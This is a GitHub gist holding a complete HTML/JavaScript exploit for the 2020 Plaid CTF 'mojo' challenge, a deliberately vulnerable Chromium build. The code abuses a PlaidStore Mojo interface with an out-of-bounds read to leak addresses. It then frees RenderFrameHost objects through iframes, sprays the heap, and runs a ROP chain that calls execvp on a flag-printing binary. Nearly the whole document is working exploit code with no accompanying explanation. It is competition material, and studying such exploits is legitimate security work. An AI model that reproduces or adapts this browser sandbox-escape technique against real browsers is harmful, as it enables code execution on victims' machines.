Created
April 20, 2020 00:11
-
-
Save ujin5/5b9a2ce2ffaf8f4222fe7381f792cb38 to your computer and use it in GitHub Desktop.
2020 Plaid CTF mojo
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body></body> | |
<script src="../mojo/public/js/mojo_bindings.js"></script> | |
<script src="../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script> | |
<script src="../third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script> | |
<script> | |
var heap; | |
var replace_data; | |
var count = 0; | |
var blob_registry_ptr = new blink.mojom.BlobRegistryPtr(); | |
var kRenderFrameHostSize = 0xc28; | |
var kSpraySize = 0x10; | |
var p = 0; | |
const code = ` | |
<script> | |
var MAX = 256; | |
var plaidstore_ptr = []; | |
function main(){ | |
for(var i = 0 ; i < 1; i++){ | |
plaidstore_ptr = new blink.mojom.PlaidStorePtr(); | |
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(plaidstore_ptr).handle, "context", true); | |
} | |
console.log("alloc plaidstore_ptr"); | |
} | |
function posttask(){ | |
for(var i = 0 ; i < MAX; i++){ | |
parent.spray(); | |
plaidstore_ptr.getData("hello", 100); | |
plaidstore_ptr.getData("hello", 100); | |
} | |
} | |
main(); | |
<\/script>`; | |
const iframe_code = "<html>" +'<script src="../mojo/public/js/mojo_bindings.js"><\/script>'+"<script src=\"../third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js\"><\/script>"+ code +"<\/html>" | |
Mojo.bindInterface(blink.mojom.BlobRegistry.name, | |
mojo.makeRequest(blob_registry_ptr).handle, "process"); | |
var plaidstore_spray = new blink.mojom.PlaidStorePtr(); | |
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(plaidstore_spray).handle, "context", true); | |
function allocate_rfh(src) { | |
var iframe = document.createElement("iframe"); | |
//iframe.src = src; | |
document.body.appendChild(iframe); | |
iframe.contentWindow.document.open('text/htmlreplace'); | |
iframe.contentWindow.document.write(iframe_code); | |
return iframe; | |
} | |
function deallocate_rfh(iframe) { | |
document.body.removeChild(iframe); | |
} | |
stringToBytes = string => Array.prototype.map.call(string + "\x00", v => v.charCodeAt(0)); | |
function initHeap(rop, rop_ptr){ | |
console.log("initHeap"); | |
replace_data = new Uint8Array(kRenderFrameHostSize).fill(0x23); | |
var u64 = new BigInt64Array(replace_data.buffer); | |
for(var i =0 ; i < rop.length; i++) | |
u64[i] = rop[i]; | |
u64[0x650/8] = rop_ptr + 0x600n; | |
u64[(0x650/8) + 1] = 0n; | |
var flag_printer = stringToBytes("./flag_printer"); | |
for(var i = 0; i < flag_printer.length; i++) | |
replace_data[0x600 + i] = flag_printer[i]; | |
/* | |
for(var i =0; i < kRenderFrameHostSize/8; i++) | |
u64[1+i] = 0x414141410000n + BigInt(i+1); | |
//u64.fill(0x414141414141n); | |
u64[0] = ptr+0x8; | |
*/ | |
} | |
function spray(){ | |
for(var i = 0; i < kSpraySize; i++){ | |
plaidstore_spray.storeData(p+i+"woojin", replace_data); | |
} | |
p += kSpraySize; | |
} | |
function int2bint(arr){ | |
var r = []; | |
for(var i = 0; i < arr.byteLength; i++) | |
r.push(BigInt(arr[i])); | |
return r; | |
} | |
async function main(){ | |
//alert("1234"); | |
var oob_read_ptr = new blink.mojom.PlaidStorePtr(); | |
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(oob_read_ptr).handle, "context", true); | |
var victim_ptr = []; | |
for(var i =0; i < 0x40; i++){ | |
victim_ptr[i] = new blink.mojom.PlaidStorePtr(); | |
await oob_read_ptr.storeData("hello"+i, new Uint8Array(0x28).fill(0x23)); | |
Mojo.bindInterface(blink.mojom.PlaidStore.name, mojo.makeRequest(victim_ptr[i]).handle, "context", true); | |
} | |
var data = null; | |
var base_addr = 0; | |
for(var i =0; i < 0x40; i++){ | |
data = await oob_read_ptr.getData("hello"+i, 0x200); | |
var u8 = new Uint8Array(data.data); | |
var f64 = new Float64Array(u8.buffer); | |
var u64 = new BigInt64Array(u8.buffer); | |
for(var j =0; j < 0x200/8; j++){ | |
var k = u64[j]&BigInt(0x00000000fff); | |
//console.log(u64[j].toString(16)) | |
//console.log(k.toString(16)) | |
if( k == BigInt(0x7a0)){ | |
console.log("FOUND : "+j); | |
base_addr = u64[j] - 0x9fb67a0n; | |
render_frame_ptr = u64[j+1]; | |
break; | |
} | |
} | |
if(base_addr != 0) | |
break; | |
} | |
console.log("Base Addr : "+base_addr.toString(16)); | |
console.log("render_frame_ptr : "+render_frame_ptr.toString(16)); | |
for(var i =0 ; i < 0x30; i++) | |
await oob_read_ptr.storeData("fuck"+i, new Uint8Array(kRenderFrameHostSize).fill(0x41)); | |
var rop_ptr = render_frame_ptr + 0xd00n; | |
console.log("Exploit start"); | |
var dummy = new Array(43); | |
dummy.fill(0x4141414141n); | |
pop_rdi_ret = base_addr + 0x02e4630fn; | |
pop_rsi_ret = base_addr + 0x02d27a5cn; | |
pop_rdx_ret = base_addr + 0x02e9998en; | |
mov_edi_eax_ret = base_addr + 0x072be0c3n; | |
dest = base_addr + 0x00A6BD6A0n; | |
src = rop_ptr + 0x600n; | |
open = base_addr + 0x9EFF410n; | |
read = base_addr + 0x09EFA930n; | |
write = base_addr + 0x09EFAA00n; | |
execvp = base_addr + 0x09EFCA30n; | |
argv = rop_ptr + 0x650n; | |
var rop = [ | |
rop_ptr + 8n, // rop + 8; + 0 | |
base_addr + 0x4ff2afbn, // add rsp, 0x0000000000000160 ; pop rbx ; pop r14 ; pop rbp ; ret; + 8 | |
...dummy, // + 0x10 | |
base_addr + 0x663529bn, //xchg rsp,rax; dec DWORD PTR [rax-0x77]; ret ; + 0x168 | |
0x1337n, | |
0x1337n, | |
0x1337n, | |
//0x13371337n, | |
pop_rdi_ret, // <--- ROP start | |
src, | |
pop_rsi_ret, | |
argv, | |
execvp, | |
0x13371337n, | |
]; | |
initHeap(rop, rop_ptr); | |
var N = 4; | |
var frames = []; | |
// allocate RFH | |
for (var i = 0; i < N; i++) { | |
var frame = allocate_rfh(); | |
frames.push(frame); | |
} | |
setTimeout(function(){ | |
console.log("trigger"); | |
for (var i = 0; i < N; i++) { | |
frames[i].contentWindow.posttask(); | |
deallocate_rfh(frames[i]); | |
} | |
console.log("end"); | |
},1000); | |
setTimeout(function() { | |
location = ''; | |
}, 3000); | |
} | |
main(); | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Great!